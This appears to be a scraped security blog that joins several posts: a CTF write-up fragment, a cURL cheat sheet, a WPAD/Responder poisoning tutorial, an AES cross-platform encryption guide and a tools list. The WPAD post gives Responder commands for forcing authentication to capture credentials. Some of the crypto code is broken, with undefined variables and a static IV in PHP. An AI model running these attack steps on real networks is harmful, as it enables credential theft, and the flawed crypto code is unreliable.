"^FLAG^9ef8fc5da15????????????????????????????????????????????782ca11fa$FLAG$"
"^FLAG^63a407d0083????????????????????????????????????????????4564ee9f2$FLAG$"
HOSTNAME=ad3e8c7df92d
SHLVL=0
```


A write up for the Photo Gallery [moderae] challenge

a write up for this web challenge

Hacker101 CTF Photo Gallery [moderate] writeup


## cURL What is it?

cURL describes itself as:

> command line tool and library for transferring data with URLs

cURL is a multipurpose networking tool which has lots of useful usecases.

## cheat sheet

<table>
<thead>
<tr>
<th><strong>Command</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>curl http://lwlx.xyz</code></td>
<td>GET request with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl http://lwlx.xyz -v</code></td>
<td>Verbose GET request with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl http://admin:password@lwlx.xyz/ -vvv</code></td>
<td><code>cURL</code> Basic Auth login</td>
</tr>
<tr>
<td><code>curl -u admin:password http://lwlx.xyz/ -vvv</code></td>
<td>Alternate <code>cURL</code> Basic Auth login</td>
</tr>
<tr>
<td><code>curl -u admin:password -L http://lwlx.xyz/</code></td>
<td><code>cURL</code> Basic Auth login, follow redirection</td>
</tr>
<tr>
<td><code>curl -u admin:password 'http://lwlx.xyz/search.php?port_code=us'</code></td>
<td><code>cURL</code> GET request with parameter</td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L http://lwlx.xyz/login.php</code></td>
<td>POST request with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L http://lwlx.xyz/login.php -v</code></td>
<td>Debugging with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L --cookie-jar /dev/null http://lwlx.xyz/login.php -v</code></td>
<td>Cookie usage with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L --cookie-jar cookies.txt http://lwlx.xyz/login.php</code></td>
<td><code>cURL</code> with cookie file</td>
</tr>
<tr>
<td><code>curl -H 'Content-Type: application/json' -d '{ "username" : "user", "password" : "pass" }'</code></td>
<td><code>cURL</code> specify content type</td>
</tr>
<tr>
<td><code>curl -X OPTIONS http://lwlx.xyz/ -vv</code></td>
<td><code>cURL</code> OPTIONS request</td>
</tr>
<tr>
<td><code>curl -X PUT -d @test.txt http://lwlx.xyz/test.txt -vv</code></td>
<td>File upload with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -X DELETE http://lwlx.xyz/test.txt -vv</code></td>
<td>DELETE method with <code>cURL</code></td>
</tr>
</tbody>
</table>


the cURL cheat sheet

## What is WPAD? `[WIP]`

Sometime in the early days of the Internet - the web 1.0 era - a couple of devs at Netscape decided that JavaScript was an acceptable language to write configuration files in. The result was Proxy Auto-Config (PAC) - a configuration file format that works as follows: The browser connects to a pre-configured server, downloads the PAC file, and executes a particular Javascript function to determine proper proxy configuration. Why not? It is more expressive and less tedious than XML and seems reasonable to provide configurations to many clients.

PAC itself works with a protocol called Web Proxy Auto-Discovery (WPAD) WPAD removes the need for the browser or the user to have a pre-configured server to connect to. Instead, WPAD allows the computer to query the local network to discover the server to load the PAC file from.

## WPAD always follows this schema:

1. Determine if the system should use WPAD, either by looking at browser settings or asking the host OS if the browser is set to match the OS setting.
2. Ensure a network connection is available.
3. If WPAD is to be used, issue a DHCPINFORM query to ask for the URL of the PAC script.
4. If the DHCPINFORM query fails and does not return a URL, perform a DNS lookup for the hostname `wpad`.
5. If the DNS lookup succeeds, then the PAC URL is `http://wpad/wpad.dat`.
6. Establish an HTTP(S) connection to the discovered URL's server, thus downloading the PAC script.
7. If the PAC script has downloaded successfully, parse it, and optionally compile it.
8. For each network request, call the `FindProxyForURL()` function in the PAC script and use the proxy settings returned from this function.

> WPAD is practically asking the network "Hey there! would you like to send me a **payload** i can **execute**?"

You can clearly see how a bad actor can abuse this.

Windows is certainly not the only piece of software that implements WPAD. Other operating systems (OS X, Linux) and applications do as well. For example, Google Chrome also has a WPAD implementation, but in Chrome's case, the JavaScript code from the PAC is evaluated inside of a sandbox. Other operating systems that support WPAD don't enable it by default anymore. That is why Windows is currently the most attractive target for this sort of attack.

## Exploit basis

When a device has these protocols enabled, if the local network DNS cannot resolve the name, the machine will ask the whole network to get a host. So, any host of the network, who knows its IP, can reply. Even if a host replies with incorrect information, it will still be regarded as a legitimate response.

# Exploitable scenario

1. victim and host are in the same network
2. The victim opens the browser, which is configured with the option `automatically detect settings` in `Local Area Network (LAN) Settings`.
3. The name resolution, which is performed with the steps we mentioned earlier, will be questioned on the victim's computer first.
4. In step 3, because the DNS Server does not have a corresponding record, the system's name is sent as LLMNR or NetBIOS-NS query.
5. The attacker listens to network traffic, catches name resolution query. It tells to the victim that he has the wpad.dat the victim is look for.

According to the flow above, if an attacker wants to make sure that the attack will be successful, he must perform the following attacks:

- DHCP poisoning attack
- DNS poisoning attack
- WPAD poisoning attack



## start analyzing first

using the `-A` option enables analyze only mode
**macOS:**

```shell
./Responder.py -i <your ip address> -A
```

**Linux:**

```shell
./Responder.py -I <your net interface> -A
```

## create payload adn custom FindProxyForURL()

## run the attack:

- `-w`: starts WPAD service
- `-f`: fingerprints victims
- `-v`: verbose output
- `-F`: force auth to WPAD service

```shell
 ./Responder.py -i 192.168.1.215 -w -f -v -F
```

force basic auth to try and gain user & pass

- `-b`: force Basic HTTP authentication

```shell
 ./Responder.py -i 192.168.1.215 -w -f -v -b -F
```

![Succsessfull WPAD attack](/wpad-responder-exploit/responder-intercepted.png "Succsessfull WPAD attack, planting a reverse shell on the victim.")

# Mitigation

- Create a DNS entry called "WPAD" that points to the real proxy server.
- Disabling automatic proxy discovery in browsers and operating systems.
- Configure firewalls and proxies to block and log outbound requests for wpad.dat files.

> ## `[WIP]` This article is a work in progress and will be updated with a proof of concept soon.

When a decision made 25+ years ago makes your computer vulnerable to the stupidest attack you've heard of.

Getting a reverse shell on windows client

MitM using WPAD Proxy Protocol:


I recently was tasked to find a solution for encrypting data in different places and to being able to decrypt them all in a browser during runtime.

Surprisingly, it was much more challenging than expected since there was so little documentation around this online. What was available were a few code-only examples, so I was forced to do R & D and try all implementations and compare the in- & outputs.

Given the lack of a decent out-of-the-box solution, I worry that many developers are settling for easy to use, insecure solutions that limit your project’s security and flexibility. Security should be easy to use and accessible.

> Clone the repo here to get started with this setup: <a href="https://gist.github.com/Lawlez/88e04e3541cc0608c953a118b86bfc1a">https://gist.github.com/Lawlez/88e04e3541cc0608c953a118b86bfc1a</a>

Okay, so lets assume we use following input data to test each implementation:

- **`key`** = '5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9' ` //must be 256 bits`
- **`iv`** = '1d6ef201e0e7a9019ddf8414034325e2' ` //must be 128 bits`
- **`inputData`** = `{"TestData":"w17h Spé^cIäl chàær§¢tèrs", "OK":"://seems/fine?x=lol"}`

Let's quickly run through and test each implementation:

## Using Node JS Crypto module

Node Provides a nice `crypto` implementation. It's documentation is rather sparse, but this is what most resources suggest by using:

- `crypto.randomBytes()`
- `crypto.createCipheriv()`
- `crypto.createDecipheriv()`

```javascript
const crypto = require('crypto')

/**********************************************************************
*
*        DECRYPTION MODULE FOR USE INSIDE NODE.JS                     *
*
***********************************************************************/

const encryption = (data = 'TestString {} Héllöüä') => {

   const secretPhrase = crypto.randomBytes(16).toString('hex')
   const salt = crypto.randomBytes(128 / 8).toString('hex')
   //here we generate the key and give it back as a string, we use 100k iterations
   //as suggested in best practices
   //We can use the key multiple times to encrypt multiple things(-30GB), we just cant use
   //the same initialization vector twice
   //the key for aes-256 needs to be 256 bits which equals 32 bytes or 32 characters
   const configKey = crypto.pbkdf2Sync(secretPhrase, salt, 100000, 32, 'sha256').toString('hex').substr(0, 32)
   //create unique IV for each encryption, the key can be reused. IV needs to always be 16 bytes
   const IV = crypto.randomBytes(16)

   //create ciphers for each encryption using the shared key and the unuique IV
   const projectConfigCipher = crypto.createCipheriv('aes-256-cbc', configKey, IV.toString('hex').substr(0,16)

   //encripting the storage location using the prepared cipher
   const encrypted = Buffer.concat([configStorageCipher.update(
       'STORAGE', 'utf8'
   ), configStorageCipher.final()]).toString('hex')

   return encrypted

}
```

> this is **NOT** the final implementation; check below to see it.

### Testing the implementation

We notice that we need to trim the key to 32bytes and the IV to 16 bytes. This is likely because of the conversion from hex to string after the creation of the key.

- **`key`** = '5035ae3567f2e69320b083d59a7364cf' ` //is now 32 bytes string`
- **`iv`** = '1d6ef201e0e7a901' ` //is now 16 bytes string`

This will probably lead to an issue later on since other implementations actually want the longer strings. Maybe we can find a workaround by base64 encoding instead of stringifying the key and iv.

a quick test reveals, yes, we actually can:

```
const IV = crypto.randomBytes(16)

console.log(IV)
// <Buffer c1 1e 98 84 54 eb 85 f6 b3 d0 51 87 d2 62 80 a7>

console.log(IV.toString('base64'))
// wR6YhFTrhfaz0FGH0mKApw==

console.log(Buffer.from(IV.toString('base64'), 'base64'))
//<Buffer c1 1e 98 84 54 eb 85 f6 b3 d0 51 87 d2 62 80 a7>
```

now we could also just create a buffer again from the string to make it 16/32 bytes (ready for usage):

```
Buffer.from('5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9', 'hex')
//<Buffer 50 35 ae 35 67 f2 e6 93 20 b0 83 d5 9a 73 64 cf 8d 4b 14 e7 7d 7b 79 80 51 24 1c e5 46 b3 27 d9>

Buffer.from('1d6ef201e0e7a9019ddf8414034325e2','hex'))
//<Buffer 1d 6e f2 01 e0 e7 a9 01 9d df 84 14 03 43 25 e2>
```

This seems to be a nice solution when you **receive** the key and iv as an input; if we generate it ourselves, however, it better to just avoid the conversion to string after generation that many people use in examples:

```
// type Buffer, 16 bytes
const IV = crypto.randomBytes(16)

// type Buffer, 32 bytes
const configKey = crypto.pbkdf2Sync(secretPhrase, salt, 100000, 32, 'sha256')

```

This key and IV pair can be consumed directly by our ciphers, but we would need to convert it to a hex string first to save and forward them.

### So what is the output of this function?

The output we received is of type buffer, but when we convert it to a string using `toString('hex')` we can read the data:

- **`OUTPUT`** = '<Buffer f2 fb 62 b1 7e e9 da 0c 8c bd 56 f2 45 a9 87 60 b4 e2 a6 d0 c5 de f1 50 bc 6d 86 00 f8 5d b4 79>' ` //is 32 bytes`
- **`OUTPUT_Stringified`** = 'f2fb62b17ee9da0c8cbd56f245a98760b4e2a6d0c5def150bc6d8600f85db479' ` //is now 64 bytes string`
- **`OUTPUT_Base64`** = '8vtisX7p2gyMvVbyRamHYLTiptDF3vFQvG2GAPhdtHk=' ` //is now 44 bytes string`

so using the codes below, we can switch between these three outputs as we like

```javascript
//output Buffer
encrypted = Buffer.concat([encrypted, Cipher.final()]);

//output String
encrypted = Buffer.concat([encrypted, Cipher.final()]).toString("hex");

//output Base64
encrypted = Buffer.concat([encrypted, Cipher.final()]).toString("base64");

//revert conversion to base64
Buffer.from(encrypted.toString("base64"), "base64");
```

From what we have learned here, I guess the best option is to use the base64 output method since we can easily convert it to a buffer

## Using browserify-aes's node crypto-like implementation inside the Browser

Inside the browser, we cannot use Nodes.js built-in modules. Using `browserify-aes` we can use a node-like crypto implementation, which uses the same syntax as the node implementation. In my use case, I only need to decipher in the browser, this means I don’t have to worry about a truly random key generation or ciphering.

```js
import crypto from "browserify-aes";

/**********************************************************************
 *
 *        DECRYPTION MODULE FOR USE IN BROWSER DURING RUNTIME          *
 *
 ***********************************************************************/
const decrypt = (Base64Hash) => {
  //we use the base64 hash generated by openssl cli as an input
  const Base64Hash =
    "Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUn/ZeYUj1DEBNS2NthignUNR0hw+OOFU7qACKPZbxx8k0Pe0McXNDrOnUtl3dIwdg=";
  const Key =
    "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9";
  const IV = "1d6ef201e0e7a9019ddf8414034325e2";
  const hexToBin = (hex) => {
    //converts hex strings to binary arr
    for (var bytes = [], c = 0; c < hex.length; c += 2) {
      bytes.push(parseInt(hex.substr(c, 2), 16));
    }
    return bytes;
  };
  //ein neuer cipher wird vorbereitet, mittels aes256, unserem 256 bit KEY und dem config IV
  const decipher = crypto.createDecipheriv(
    "aes256",
    hexToBin(Key),
    hexToBin(IV)
  );

  //der hash wird nun decrypted mittels dem zuvor erstellten cipher
  const decrypted = Buffer.concat([
    decipher.update(Buffer.from(Base64Hash, "base64")),
    decipher.final(),
  ]).toString("utf8");

  return JSON.parse(decrypted);
};
```

- **`OUTPUT`** = {TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol"} ` //yes, thats our original input! :D`

## ENCRYPTION & DECRYPTION MODULE FOR PHP7+ USING OPENSSL

In PHP 7 we make use of the `openssl_encrypt` implementation to encrypt an utf8 string and finally encode it with `base64_encode`.
For decryption we also make use of the official openssl implementation `openssl_decrypt`, before decrypting we need to decode using `base64_decode`.

```php
/**********************************************************************
*
*        ENCRYPTION & DECRYPTION MODULE FOR PHP7+ USING OPENSSL       *
*
***********************************************************************/

class AESEncryption {

   //key length should be 256 bits for aes 256 this means we use a string with 32 bytes
   public static $key = "5f08e0ec585393a8e2ca8f0a1a0ae752";

    //iv length should be always be 128 bit / 16 bytes
   public static $iv = "05d387e7f773035a";

    // The AES uses a block size of sixteen octets (128 bits)
   public static $Method = 'AES-256-CBC';

   /**
     * use the AES to encrypt plaintext data and return a base 64 string
    *
    * $key
    */
   public static function encrypt($cleartext,$key = ''){

       $key = empty($key) ? self::$key : $key;

       $encrypted = openssl_encrypt($cleartext, self::$Method, $key, OPENSSL_RAW_DATA, self::$iv);

       return base64_encode($encrypted);

   }

   /**
     * use the AES to decrypt a base 64 string into plaintext
    *
    * $key
    */
   public static function decrypt($encrypted,$key = ''){

       $key = empty($key) ? self::$key : $key;

       $encrypted = base64_decode($encrypted);

       $decrypted = openssl_decrypt($encrypted, self::$Method, $key, OPENSSL_RAW_DATA, self::$iv);

       return trim($decrypted);
   }
}
```

> while desperately searching for a solution I looked into doing the encryption in PHP instead of openssl, since I scrapped this idea I cannot explain any further. I still keep this PHP 7 example here because its hard to find examples online that don’t use mcrypt.

## Using OpenSSL for use in CLI

Inside of a Command Line Interface, we use `openssl` do en- or decrypt data.

For node/browserify to be able to decrypt it we need to add the `-nosalt` option, which disables salting the data.

```bash
#########################################################################################
#                                                                                       #
#               ENCRYPTION FOR CLI IN / MACOS / LINUX / WINDOWS                         #
#                                                                                       #
#########################################################################################

#encrypt with key & IV but no salt
cat config.json | openssl aes-256-cbc -iv $(cat iv)  -K $(cat key) -A -nosalt -base64

#decrypt with key IV and base64
echo "encryptedString" | openssl aes-256-cbc -d -iv $(cat iv)  -K $(cat key) -base64 -A
```

### testing the implementation

I created a json file called `test.json` containing the inputData. so when we run the following command ...

```bash
cat test.json | openssl aes-256-cbc -iv "1d6ef201e0e7a9019ddf8414034325e2"  -K "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9" -A -nosalt
```

We get no warnings and an output like this:

- **`OUTPUT`** = g??.G?٪a?W????ԝFv?? 0P0+v?'???R=CR??a? ?5!??N?"?e?q?M{C\??:u-?wH?? ` //weird looking binary data`

as you can see this is not very usefull so we apply the base64 encoding after encryption

```bash
cat test.json | openssl aes-256-cbc -iv "1d6ef201e0e7a9019ddf8414034325e2"  -K "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9" -A -nosalt -base64
```

- **`OUTPUT_base64`** = Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUn/ZeYUj1DEBNS2NthignUNR0hw+OOFU7qACKPZbxx8k0Pe0McXNDrOnUtl3dIwdg= ` //now this looks nice`

now we can also decrypt the just created data like so

```bash
echo $encryptedData | openssl aes-256-cbc -d -iv "1d6ef201e0e7a9019ddf8414034325e2" -K "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9" -A -base64
```

This yields us this output

- **`OUTPUT`** = {"TestData":"w17h Spé^cIäl chàær§¢tèrs", "OK":"://seems/fine?x=lol"} ` //yes, thats our original input! :)`

# final solution

## Using NodeJS during initial build

While building our app this code is responsible for:

- creating a unique `key` on every build
- creating a unique `iv` for every object to be encrypted
- outputting an encrypted base64 encoded string of data

the output needs to be consumed by either:

- the application during runtime (browserify implementation)
- openssl in case of deployment

```javascript
const crypto = require("crypto");

/**********************************************************************
 *
 *        DECRYPTION MODULE FOR USE INSIDE NODE.JS                     *
 *
 ***********************************************************************/

const encryption = (
  data = { TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol" }
) => {
  const secretPhrase = crypto.randomBytes(16).toString("hex");
  const salt = crypto.randomBytes(128 / 8).toString("hex");
  //here we generate the key and give it back as a string, we use 100k iterations
  //as suggested in best practices
  //We can use the key multiple times to encrypt multiple things(-30GB), we just cant use
  //the same initialization vector twice
  //the key for aes-256 needs to be 256 bits which equals 32 bytes or 32 characters it is currently of type Buffer
  const configKey = crypto.pbkdf2Sync(secretPhrase, salt, 100000, 32, "sha256");
  //create unique IV for each encryption, the key can be reused. IV needs to always be 16 bytes. it is currently of type buffer
  const IV = crypto.randomBytes(16);

  //create ciphers for each encryption using the shared key and the unuique IV
  const projectConfigCipher = crypto.createCipheriv(
    "aes-256-cbc",
    configKey,
    IV
  );
  //when using hex strings as IV/keys you can convert it into a buffer to make it work:
  //Buffer.from('1d6ef201e0e7a9019ddf8414034325e2','hex')

  //encrypting the storage location using the prepared cipher
  // our input is an object, so we first stringify it and set the input encoding to utf8, for our output we need base64 encoding
  let encrypted = projectConfigCipher.update(
    JSON.stringify(data),
    "utf8",
    "base64"
  );
  // finalize the encryption also with base64 output encoding
  encrypted += projectConfigCipher.final("base64");

  /***************************************************************
   * To be able to decrypt later, we need to save the IV and key somewhere.
   * it is recommended to store the iv together with the encrypted
   * data, but you should store the key separately. we save those values
   *  as hex-encoded strings - so the can later be converted into binary again
   ****************************************************************/
  const saveKey = key.toString("hex");
  const saveIV = IV.toString("hex");
  // the above strings can be directly interpreted by openssl
  // the above key can be converted to a buffer in node: Buffer.from(saveKey, 'hex')
  // the above key can be converted to binary using hexToBin() in the browser

  return encrypted;
};
```

- **`OUTPUT_DATA`** = Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUSgCV12rE4RpgPdjXMJJB2vNJZ+00LvE9nkn77fW0pf8c/tzW5MxQpzqV3A+HvniM= ` //look what a nice base64 string`
- **`OUTPUT_KEY`** = '5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9'
- **`OUTPUT_IV`** = '1d6ef201e0e7a9019ddf8414034325e2'

Our output data looks good, so lets test what openssl can do with it!

## Using Node.crypto's output as input in openssl

from node, we get the data shown above as files named _key_ and _iv_
In my use case we only need the `key` and `IV` to encrypt a new config. I still did include a decryption example as well here.

Things to keep in mind:

- output encoding must be base64
- `-nosalt` option needs to be enabled
- `-A` option needs to be enabled

```bash
#########################################################################################
#                                                                                       #
#               ENCRYPTION FOR CLI IN / MACOS / LINUX / WINDOWS                         #
#                                                                                       #
#########################################################################################

#encrypt with key & IV but no salt
#config.json contains the testdata defined above
cat config.json | openssl aes-256-cbc -iv $(cat iv)  -K $(cat key) -A -nosalt -base64

#decrypt with key IV and base64
# we use the output base64 string from node here
echo "Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUSgCV12rE4RpgPdjXMJJB2vNJZ+00LvE9nkn77fW0pf8c/tzW5MxQpzqV3A+HvniM=" | openssl aes-256-cbc -d -iv $(cat iv)  -K $(cat key) -base64 -A
```

### Encryption output:

- **`OUTPUT_encrypt`** = Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUn/ZeYUj1DEBNS2NthignUNR0hw+OOFU7qACKPZbxx8k0Pe0McXNDrOnUtl3dIwdg= `//looking good..`

### Decryption output:

- **`OUTPUT_decrypt`** = {"TestData":"w17h Spé^cIäl chàær§¢tèrs","OK":"://seems/fine?x=lol"} ` //nice, thats our original data!`

Since our Output looks good and even the decryption worked fine, lets test what our browserify implementation can do with this.

## Using browserify to decrypt node or openssl input

This code expects the following input:

- base64 encoded string to decrypt
- iv in the form of a hex-encoded string
- key in the form of a hex-encoded string

I get the keys from process.env in this example. You could also receive them via input or even a file.

This code needs to be able to produce consistent output when receiving input from either node or openssl.

We had to create a custom function `hexToBin()` to convert a hex string into a binary array to be consumed by our cipher.

```js
import crypto from "browserify-aes";

/**********************************************************************
 *
 *        DECRYPTION MODULE FOR USE IN BROWSER DURING RUNTIME          *
 *
 ***********************************************************************/
const decrypt = (Base64Hash) => {
  const Key = process.env.APP_KEY; //hex encoded string
  const IV = process.env.APP_IV; //hex encoded string

  const hexToBin = (hex) => {
    //converts hex strings to binary arr
    for (var bytes = [], c = 0; c < hex.length; c += 2) {
      bytes.push(parseInt(hex.substr(c, 2), 16));
    }
    return bytes;
  };

  //ein neuer cipher wird vorbereitet, mittels aes256, unserem 256 bit KEY und dem config IV
  const decipher = crypto.createDecipheriv(
    "aes256",
    hexToBin(Key),
    hexToBin(IV)
  );

  //der hash wird nun decrypted mittels dem zuvor erstellten cipher
  const decrypted = Buffer.concat([
    decipher.update(Buffer.from(Base64Hash, "base64")),
    decipher.final(),
  ]).toString("utf8");

  return JSON.parse(decrypted);
};
```

- **`OUTPUT_openssl`** = {TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol"} ` //yes, thats our original input! :D`
- **`OUTPUT_nodejs`** = {TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol"} ` //and we even handled the node version! sick!`

That's it! We did it yay!

> Feel free to comment and discuss on my gist: <a href="https://gist.github.com/Lawlez/88e04e3541cc0608c953a118b86bfc1a">This project on gist</a>


Cryptography is hard, and because it's already hard enough, here is a nice guide on the AES Cipher in different environments.

Getting consistent Encryption in Node / PHP / Browser and openSSL


## AppSec Tools

- [x] [lynis](https://github.com/CISOfy/lynis) | `active` |: Security auditing tool for Linux, macOS, and UNIX-based systems
- [ ] [killcord](https://github.com/nomasters/killcord) | **`new`** |: a censorship resistant deadman's switch
- [x] [OWASP ZAP](https://github.com/zaproxy/zaproxy) | `active` |: autodetect security vulnerabilities in your web applications while developing and testing your applications
- [ ] [ClamAV](https://github.com/Cisco-Talos/clamav-faq) | **`new`** |: open source antivirus engine for detecting trojans, viruses, malware & other malicious threats.
- [ ] [endlessh](https://github.com/skeeto/endlessh) | **`new`** |: Endlessh is an SSH tarpit (honeypot) that very slowly sends an endless, random SSH banner

---

## Automation Tools

- [ ]

---

## developer Tools

- [x] [(js-) IPFS](https://github.com/ipfs/js-ipfs) | `active` |: A peer-to-peer hypermedia protocol
      designed to make the web faster, safer, and more open.
- [ ] [ML5.js](https://github.com/ml5js/ml5-library) | _tested_ |: Friendly & easy to use machine learning for the web!
- [ ] [TensorFlow](https://github.com/tensorflow) | **`new`** |: Open Source Machine Learning Framework (With extensive docs and big community)
- [ ] [deno](https://github.com/denoland/deno) | _testing_ |: Deno aims to provide a productive and secure scripting environment for the modern programmer. It is built on top of V8, Rust, and TypeScript.
- [x] [PNPM](https://github.com/pnpm/pnpm) | _testing_ |: Faster, disk space efficient package manager, with good monorepo support.
- [ ] [verdaccio](https://verdaccio.org/) | **`new`** |: A lightweight open source private npm proxy registry
- [ ] [caprover](https://github.com/caprover/caprover) | **`new`** |: Easiest app/database deployment platform and webserver package for your NodeJS, Python, PHP, Ruby, Go applications. No Docker, nginx knowledge required!

---

## misc Tools

- [x] [Chrome Galvanizer](https://thehackerblog.com/galvanizer/) | _tested_ |: Harden your Chrome browser via enterprise policy.
- [ ] [Cursed Chrome](https://github.com/mandatoryprogrammer/CursedChrome) | **`new`** |: Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies, allowing you to browse sites as your victims.
- [x] [NMAP](https://github.com/nmap/nmap) | `active` |: The #1 network scanner & mapper
- [x] [nmap-vulners](https://github.com/vulnersCom/nmap-vulners) | `active` |: extension to NMAP that chekcs for more known vulns
- [ ] [lesspass](https://github.com/lesspass/lesspass) | **`new`** |: stateless open source password manager
- [ ] [GrantProxy](https://grantproxy.com/) | **`new`** |: Turn your web browser into a magic proxy server in one click.
- [ ] [ohmyzsh](https://github.com/ohmyzsh/ohmyzsh) | **`new`** |: A delightful community-driven framework for managing your zsh configuration. Includes 200+ plugins

---

# sickGuides

a collection of useful guides or tutorials to stay safe.

## Security Guides

- [x] [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/) | `active` |: These cheat sheets were created by various application security professionals who have expertise in specific topics.
- [ ] [PortSwigger XSS CheatSheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) | `active` |: An extensive list of known XSS vulns, sortable and searchable

---

## Dev Guides

- [ ] [HTMLHEAD.dev](https://htmlhead.dev/) : A free guide to HTML5 <head> elements
- [ ] [CSS FlexBox Cheatsheet](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) | `active` |: the only CSS flexbox cheatsheet you'll need
- [x] [DevDocs.io](https://devdocs.io/) | `active` |: Huge, fast, searchable reporsitory for dev documentation, from java to docker, from rust to WordPress.
- [ ] [Set Up a Private NPM Registry Locally](https://blog.bitsrc.io/how-to-set-up-a-private-npm-registry-locally-1065e6790796) | _tested_ |: using verdaccio to setup local NPM registry.
- [ ] [Grepper](https://www.codegrepper.com/index.php) | **`new`** |: Accrue code answers to common coding problems, find code answers without thinking - using Greppers “code problem” search engine.

---

### Sources

- [`OWASP`](https://owasp.org/) — The Open Source Web Application Security Protocol
- [`Matthew Bryant`](https://github.com/mandatoryprogrammer/) — XSSHunter / chrome galvanizer
- [`lwlx`](https://skills.rendered.ch) — lwlx

## License

[The MIT License](LICENSE).

- `- [ ] ([tool name](<link>)|*tested*|**`new`**|deprecated| `active`): <description> `


a collection of useful, special, or just cool tools to use and try to get more done in less time.

newest posts

HTB write up for the Black Hole[EASY] challenge

getting started with forensics

Hacker101 CTF TempImage [moderate] Write-Up

a work in progress

HTB write up for the oBfsC4t10n[HARD] challenge

security through obscurity?

Hacker101 CTF Photo Gallery [moderate] writeup

a write up for this web challenge

All Posts

HTB write up for the Black Hole[EASY] challenge

getting started with forensics

Hacker101 CTF TempImage [moderate] Write-Up

a work in progress

HTB write up for the oBfsC4t10n[HARD] challenge

security through obscurity?

Hacker101 CTF Photo Gallery [moderate] writeup

a write up for this web challenge

the cURL cheat sheet

MitM using WPAD Proxy Protocol:

Getting a reverse shell on windows client

Getting consistent Encryption in Node / PHP / Browser and openSSL

A Collection of useful Security and DevOps tools.

Open Source Security & Dev Blog